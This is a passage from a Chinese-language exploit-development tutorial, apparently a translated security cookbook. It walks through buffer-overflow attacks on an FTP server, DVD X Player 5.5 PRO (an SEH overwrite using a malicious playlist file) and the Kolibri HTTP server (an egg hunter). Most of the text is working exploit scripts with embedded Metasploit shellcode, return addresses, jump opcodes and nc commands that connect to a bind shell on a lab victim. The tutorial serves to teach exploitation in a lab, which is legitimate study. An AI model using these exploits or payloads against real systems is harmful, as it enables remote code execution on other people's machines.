buf += "\xc9\xb1\x5b\x83\xee\xfc\x31\x7e\x11\x03\x7e\x11\xe2"
buf += "\x6b\x7f\xe5\xd1\x52\x2f\x2c\x11\x8d\x44\xf5\x56\x73"
buf += "\x94\x3c\x27\xde\xe7\xe8\x5a\x63\xc1\x11\x58\x7d\x94"
buf += "\x3a\x04\xc4\x94\x24\x50\x67\x99\x3f\x8a\x42\x38\xa1"
buf += "\x5d\x62\xd7\x19\x04\xbb\x10\x79\x3c\xf1\x22\x2d\x15"
buf += "\x50\x23\x53\xe3\xb6\xe5\x7e\xc1\xe1\x89\x97\x85\xa2"
buf += "\xbc\xbd\x3b\xb9\xbb\x71\x02\xde\x93\xe3\xc0\x22\x24"
buf += "\xa5\x5d\x88\x4d\x31\xe6\xf9\xa2\xaf\x87\xd3\xc0\xaf"
buf += "\xc3\xa5\x06\x8b\xb7\xac\xf0\x18\x10\x6b\xc4\xb4\x71"
buf += "\xdf\x88\xd7\xda\xe0\x34\xa5\x88\xe0\x38\x6f\x6a\x06"
buf += "\xbe\xe5\x63\xe3\xc8\x09\x91\xee\x9c\x75\x23\xe3\x7c"
buf += "\xb5\xe9\xef\xc7\x12\x1e\x05\xa8\x26\x9e\xed\x7e\x86"
buf += "\xce\x78\xec\x7e\x6e\x3b\x91\xa2\x8d\x1c\xc0\x08\x80"
buf += "\xd2\x78\x88\xbd\xb7\xf5\x7e\x84\x51\x88\x5a\xa8\xbe"
buf += "\x83\x9b\x46\x59\xbb\xb1\xe3\xd3\x52\xbe\x06\x2a\xbb"
buf += "\xbc\x2a\x43\xb0\x6f\x91\x66\x73\x81\x58\x03\xc1\x03"
buf += "\xa8\xf2\xe8\x3d\x9c\x69\x98\x59\xb4\x0c\x55\x85\x30"
buf += "\x14\x49\x27\x9f\xfa\x79\x38\x6e\xfc\xf5\x49\x14\x83"
buf += "\x64\x40\x5f\x52\xd7\xf1\x62\xec\xa6\xf0\x3d\xb9\xb7"
buf += "\xd3\xa4\x17\xd0\xb2\x54\xb0\x82\x4b\xde\x2e\xd9\xda"
buf += "\x34\xfb\xc3\xfa\xfc\xc9\xde\x24\x9f\x60\x03\xf5\xc0"
buf += "\xcd\x33\x61\xd2\xe7\xd5\xce\xa3\xb1\xcc\x5d\x29\x94"
buf += "\x20\xe5\x8f\xa8\x30\x0e\x0b\x78\x72\xd7\x88\x46\xa4"
buf += "\x7e\x09\x5b\x8d\xff\xd8\x89\xb0\x86\xc4\x3d\x25\xf4"
buf += "\x52\xdf\xa7\xde\x6b\x04\xce\x52\xa2\xa1\xb5\x7c\x2e"
buf += "\x14\xee\xe1\x8d\xb9\x5d\xa5\x22\xd0\x5d\xd2\x61\xfa"
buf += "\x3c\xae\xa3\x76\xca\x30\xcd\xe0\x74\xb8\x75\x7e\x0b"
buf += "\x81\xf6\x03\x71\x07\x17\x6d\xf6\xa5\xf9\xdd\x42\xe8"
buf += "\x6f\x82\x65\x6d\x92\xd5\x17\x85\x82\x48\x04\x53\xde"
buffer = "\x90"*20 + buf
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.37',21))
print (connect)
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
- 在调试器中重新启动应用程序并运行 Python 脚本。这将注入 shell 代码。现在我们可以尝试用
nc
连接受害机:
nc -nv 192.168.1.37 4444
结构化异常处理
结构化异常处理(SEH)是一种防止缓冲区溢出的保护机制。SEH 使用链表,因为它包含一系列数据记录。当发生异常时,操作系统将遍历此列表并检查适当的异常函数。为此,异常处理程序需要指向当前异常注册记录(SEH)的指针和指向下一个异常注册记录(nSEH)的另一个指针。由于 Windows 堆栈向下增长,顺序将被颠倒:
因此,如果我们可以用POP POP RETN
指令覆盖 SEH,POP 将从堆栈顶部移除四个字节,RETN 将返回执行到堆栈顶部。由于 SEH 位于esp+8
,我们可以用八个字节增加堆栈,并返回到堆栈顶部的新指针。然后我们将执行 nSEH。因此,我们可以添加一个四字节的操作码来跳转到另一个内存位置,我们可以在其中包含 shell。
准备工作
在这个教程中,我们将使用另一个易受攻击的应用程序:DVD X Player 5.5 PRO。您可以从以下网址下载:rejahrehim.com/assets/sample-package/dvd_player_sample.zip
。
与上一个教程一样,我们需要一台受害机器,安装有 Immunity Debugger 和mona.py
的 Windows XP。还要在 Windows 机器上安装下载的应用程序 DVD X Player 5.5 PRO。
如何做...
以下是为 SEH 攻击创建利用脚本的步骤:
- 在 Windows 机器上启动 Immunity Debugger 并将易受攻击的应用程序附加到其中:
-
创建一个名为
dvd_exploit.py
的 Python 文件来利用 DVD 播放器,并在编辑器中打开它。 -
由于我们正在基于文件格式创建利用,我们将创建一个播放列表文件(.plf),其中包含一个很长的缓冲区,并允许 DVD 播放器读取它。由于缓冲区很长,DVD 播放器将因缓冲区溢出而崩溃。因此,受害者需要打开播放列表文件:
#!/usr/bin/python
filename="evil.plf"
buffer = "A"*2000
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
- 然后通过运行 Python 脚本创建播放列表文件并用播放器打开它:
python dvd_exploit.py
这将创建一个evil.plf
文件
- 在 DVD 播放器中打开它。然后播放器会崩溃。
检查崩溃的寄存器。还可以使用Shift + F9键通过崩溃:
在寄存器中有许多零,因为 SEH 将它们清零。然后我们可以检查 SEH 链以验证我们是否已覆盖了 SEH:
现在,我们可以生成一个模式并更新脚本以生成播放列表文件。我们已经下载了一个脚本来为之前的配方生成模式。我们可以使用相同的脚本:
python exploit-pattern/pattern.py 2000
- 更新 Python 脚本中的
pattern
并生成有效载荷文件:
#!/usr/bin/python
filename="evil.plf"
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
- 在应用程序中打开生成的播放列表文件。它会崩溃。现在我们可以使用
mona.py
来分析崩溃并获取详细信息。为此,在 Immunity Debugger 控制台中运行以下命令:
!mona findmsp
从中我们可以推断出 SEH 是 608 之后的 4 个字节。
- 因此,我们可以制作我们的测试有效载荷,使其类似于
buffer = "A"*604 + [nSEH] + [SEH] + "D"*1384
。我们可以为 nSEH 添加BBBB
,为 SEH 添加CCCC
:
buffer = "A"*604 + "B"*4 + "C"*4 + "D"*1388
然后我们的脚本将如下所示:
#!/usr/bin/python
filename="evil.plf"
buffer = "A"*604 + "B"*4 + "C"*4 + "D"*1388
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
-
运行脚本并生成播放列表文件,然后用应用程序打开它。
-
现在我们需要获得一个有效的指针,因为我们需要用指针覆盖 SEH。为了做到这一点,我们可以使用
mona.py
:
!mona seh
输出将如下所示:
从中选择s
指针。在这里我们可以选择以下一个:
0x61617619 : pop esi # pop edi # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.12.21.2006 (C:\Program Files\Aviosoft\DVD X Player 5.5 Professional\EPG.dll)
- 现在我们可以更新脚本中的
buffer
,将其写入 SEH:
buffer = "A"*604 + "B"*4 + "\x19\x76\x61\x61" + "D"*1388
- 现在,我们的脚本将如下所示:
#!/usr/bin/python
filename="evil.plf"
buffer = "A"*604 + "B"*4 + "\x19\x76\x61\x61" + "D"*1388
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
- 运行脚本并生成播放列表文件并在 SEH 处设置断点。然后,将其加载到 DVD 播放器应用程序中。现在检查 SEH 内存位置。我们可以发现我们放在 SEH 中的指针被转换为操作码:
-
接下来,我们可以插入一个操作码,使 nSEH 向我们的填充区域进行短跳转。
-
现在我们可以使用 Metasploit 生成 shell 代码,并更新脚本以包含 shell 代码。我们可以使用为之前的配方生成的相同 shell 代码。现在我们的利用代码将如下所示:
#!/usr/bin/python
filename="evil.plf"
buf = ""
buf += "\xbf\x9e\xc5\xad\x85\xdb\xd5\xd9\x74\x24\xf4\x5e\x2b"
buf += "\xc9\xb1\x5b\x83\xee\xfc\x31\x7e\x11\x03\x7e\x11\xe2"
buf += "\x6b\x7f\xe5\xd1\x52\x2f\x2c\x11\x8d\x44\xf5\x56\x73"
buf += "\x94\x3c\x27\xde\xe7\xe8\x5a\x63\xc1\x11\x58\x7d\x94"
buf += "\x3a\x04\xc4\x94\x24\x50\x67\x99\x3f\x8a\x42\x38\xa1"
buf += "\x5d\x62\xd7\x19\x04\xbb\x10\x79\x3c\xf1\x22\x2d\x15"
buf += "\x50\x23\x53\xe3\xb6\xe5\x7e\xc1\xe1\x89\x97\x85\xa2"
buf += "\xbc\xbd\x3b\xb9\xbb\x71\x02\xde\x93\xe3\xc0\x22\x24"
buf += "\xa5\x5d\x88\x4d\x31\xe6\xf9\xa2\xaf\x87\xd3\xc0\xaf"
buf += "\xc3\xa5\x06\x8b\xb7\xac\xf0\x18\x10\x6b\xc4\xb4\x71"
buf += "\xdf\x88\xd7\xda\xe0\x34\xa5\x88\xe0\x38\x6f\x6a\x06"
buf += "\xbe\xe5\x63\xe3\xc8\x09\x91\xee\x9c\x75\x23\xe3\x7c"
buf += "\xb5\xe9\xef\xc7\x12\x1e\x05\xa8\x26\x9e\xed\x7e\x86"
buf += "\xce\x78\xec\x7e\x6e\x3b\x91\xa2\x8d\x1c\xc0\x08\x80"
buf += "\xd2\x78\x88\xbd\xb7\xf5\x7e\x84\x51\x88\x5a\xa8\xbe"
buf += "\x83\x9b\x46\x59\xbb\xb1\xe3\xd3\x52\xbe\x06\x2a\xbb"
buf += "\xbc\x2a\x43\xb0\x6f\x91\x66\x73\x81\x58\x03\xc1\x03"
buf += "\xa8\xf2\xe8\x3d\x9c\x69\x98\x59\xb4\x0c\x55\x85\x30"
buf += "\x14\x49\x27\x9f\xfa\x79\x38\x6e\xfc\xf5\x49\x14\x83"
buf += "\x64\x40\x5f\x52\xd7\xf1\x62\xec\xa6\xf0\x3d\xb9\xb7"
buf += "\xd3\xa4\x17\xd0\xb2\x54\xb0\x82\x4b\xde\x2e\xd9\xda"
buf += "\x34\xfb\xc3\xfa\xfc\xc9\xde\x24\x9f\x60\x03\xf5\xc0"
buf += "\xcd\x33\x61\xd2\xe7\xd5\xce\xa3\xb1\xcc\x5d\x29\x94"
buf += "\x20\xe5\x8f\xa8\x30\x0e\x0b\x78\x72\xd7\x88\x46\xa4"
buf += "\x7e\x09\x5b\x8d\xff\xd8\x89\xb0\x86\xc4\x3d\x25\xf4"
buf += "\x52\xdf\xa7\xde\x6b\x04\xce\x52\xa2\xa1\xb5\x7c\x2e"
buf += "\x14\xee\xe1\x8d\xb9\x5d\xa5\x22\xd0\x5d\xd2\x61\xfa"
buf += "\x3c\xae\xa3\x76\xca\x30\xcd\xe0\x74\xb8\x75\x7e\x0b"
buf += "\x81\xf6\x03\x71\x07\x17\x6d\xf6\xa5\xf9\xdd\x42\xe8"
buf += "\x6f\x82\x65\x6d\x92\xd5\x17\x85\x82\x48\x04\x53\xde"
#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
evil = "\x90"*20 + buf
buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + evil + "B"*(1384-len(evil))
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
-
现在使用脚本生成有效载荷文件。
-
在调试器中运行应用程序并加载有效载荷。
-
现在我们可以运行
nc
命令连接到系统:
nc -nv 192.168.1.37 4444
Egg hunters
在缓冲区溢出中,我们劫持执行流并重定向到包含我们缓冲区一部分和该缓冲区中的指令的 CPU 寄存器。但是,如果缓冲区大小非常小,我们无法注入任何有效载荷。因此,我们无法利用这个漏洞。在这种情况下,我们必须检查两种可能的选项。首先检查 EIP 寄存器被覆盖之前缓冲区的位置是否位于内存中。另一个选项是内存中不同区域的缓冲区段,附近的缓冲区段,以便我们可以跳转到偏移量。
使用一组指令创建了一个 egg hunter,这些指令被翻译成操作码。因此,egg hunters 可以用于搜索整个内存范围,包括堆栈和堆,以查找最终阶段的 shell 代码,并将执行流重定向到 shell 代码。
Egg hunters 包括一个用户定义的四字节标记,它将用于在内存中搜索,直到找到这个标记重复两次为止。当它找到标记时,它将重定向执行流到标记后面,我们的 shell 代码所在的地方。
准备就绪
我们需要另一个应用程序来演示创建利用的方法。在这里,我们使用 Kolibri v2.0 HTTP 服务器。可以从以下网址下载:rejahrehim.com/assets/sample-package/Kolibri_sample.zip
。
我们的受害机是一个 Windows XP 32 位机器。确保在其中安装了带有mona.py
的 Immunity Debugger。
如何做...
以下是使用 egg hunters 生成利用脚本的步骤:
-
我们必须创建一个新的利用文件。因此创建
kolibri_exploit.py
并在编辑器中打开它。 -
我们可以从向服务器提交一个大缓冲区开始。因此添加以下代码。确保使用正确的 IP 地址更新 IP 地址为您的易受攻击机器的正确 IP 地址:
#!/usr/bin/python
import socket
import os
import sys
buff = "A"*600
buffer = (
"HEAD /" + buff + " HTTP/1.1\r\n"
"Host: 192.168.1.37:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.1.37", 8080))
expl.send(buffer)
expl.close()
-
使用调试器打开易受攻击的应用程序,选择
kolibri.exe
。 -
然后运行我们创建的利用脚本:
python kolibri_exploit.py
这将像往常一样使应用程序崩溃:
- 然后用模式更改
A
缓冲区。我们可以使用模式生成器创建一个模式。用模式更新代码。我们的脚本将如下所示:
#!/usr/bin/python
import socket
import os
import sys
buff = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
buffer = (
"HEAD /" + buff + " HTTP/1.1\r\n"
"Host: 192.168.1.37:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.1.37", 8080))
expl.send(buffer)
expl.close()
- 重新启动应用程序并再次运行脚本。这也将使应用程序崩溃。然后使用
mona
获取有关寄存器的详细信息。为此,在 Immunity Debugger 控制台中提供以下命令:
!mona findmsp
从中我们可以确定在 515 字节后 EIP 可以被四个字节覆盖
- 根据信息,我们可以更新缓冲区如下:
buf = "A"*515 + [EIP] + "B"*81
- 现在我们可以获取一个地址,将执行流程重定向到 ESP 寄存器。为此,我们可以使用
mona.py
:
!mona jmp -r esp
我们可以从中选择一个指针,并将其放置在我们的缓冲区中。我们可以选择以下指针:
0x7e45b310 : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
此外,我们将在缓冲区中放置 egg hunter,并进行短跳转。为此,我们必须在最后包含短跳转的操作码。因此,相应地更新缓冲区,包括指针和短跳转的操作码。短跳转的操作码可以计算如下。短跳转操作码以\xEB
开头,后面跟着我们需要跳转的距离。这里我们需要向后跳转 60 个字节。
因此,使用计算器将-60 十进制转换为十六进制:
-
现在,结合这两者,操作码将如下所示:
\xEB\xC4
-
现在,我们的脚本将如下所示:
#!/usr/bin/python
import socket
import os
import sys
buff = "A"*515 + "\x10\xb3\x54\x7e" +"\xEB\xC4"
buffer = (
"HEAD /" + buff + " HTTP/1.1\r\n"
"Host: 192.168.1.37:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.1.37", 8080))
expl.send(buffer)
expl.close()
- 现在重新启动应用程序和调试器,再次运行脚本。通过这个执行,流程将从 EIP 重定向到 ESP,因为 ESP 包含我们的短跳转,并且它将向后跳转 60 个字节,最终到达我们放置
A
缓冲区的区域:
- 现在我们可以使用
mona.py
生成一个 egg hunter,并将其包含在脚本中。
在 Immunity Debugger 控制台中发出以下命令,并复制生成的 egg hunter 代码:
!mona help egg
!mona egg -t b33f
- 使用 egg hunter 代码更新脚本。现在我们的脚本将如下所示:
#!/usr/bin/python
import socket
import os
import sys
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33"
"\x33\x66\x8b\xfa"
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
buff = "A"*478 + hunter + "A"*5 + "\x10\xb3\x54\x7e" +"\xEB\xC4"
buffer = (
"HEAD /" + buff + " HTTP/1.1\r\n"
"Host: 192.168.1.37:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.1.37", 8080))
expl.send(buffer)
expl.close()
- 现在使用 Metasploit 生成 shell 代码,并将 shell 包含在脚本中,将 shell 代码推送到服务器。因此,我们的最终脚本将如下所示:
#!/usr/bin/python
import socket
import os
import sys
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33"
"\x33\x66\x8b\xfa"
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
shellcode = (
"\xdb\xcf\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58"
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c"
"\x4a\x48\x6d\x59\x67\x70\x77\x70\x67\x70\x53\x50\x4d\x59\x4b"
"\x55\x75\x61\x49\x42\x35\x34\x6c\x4b\x52\x72\x70\x30\x6c\x4b"
"\x43\x62\x54\x4c\x4c\x4b\x62\x72\x76\x74\x6c\x4b\x72\x52\x35"
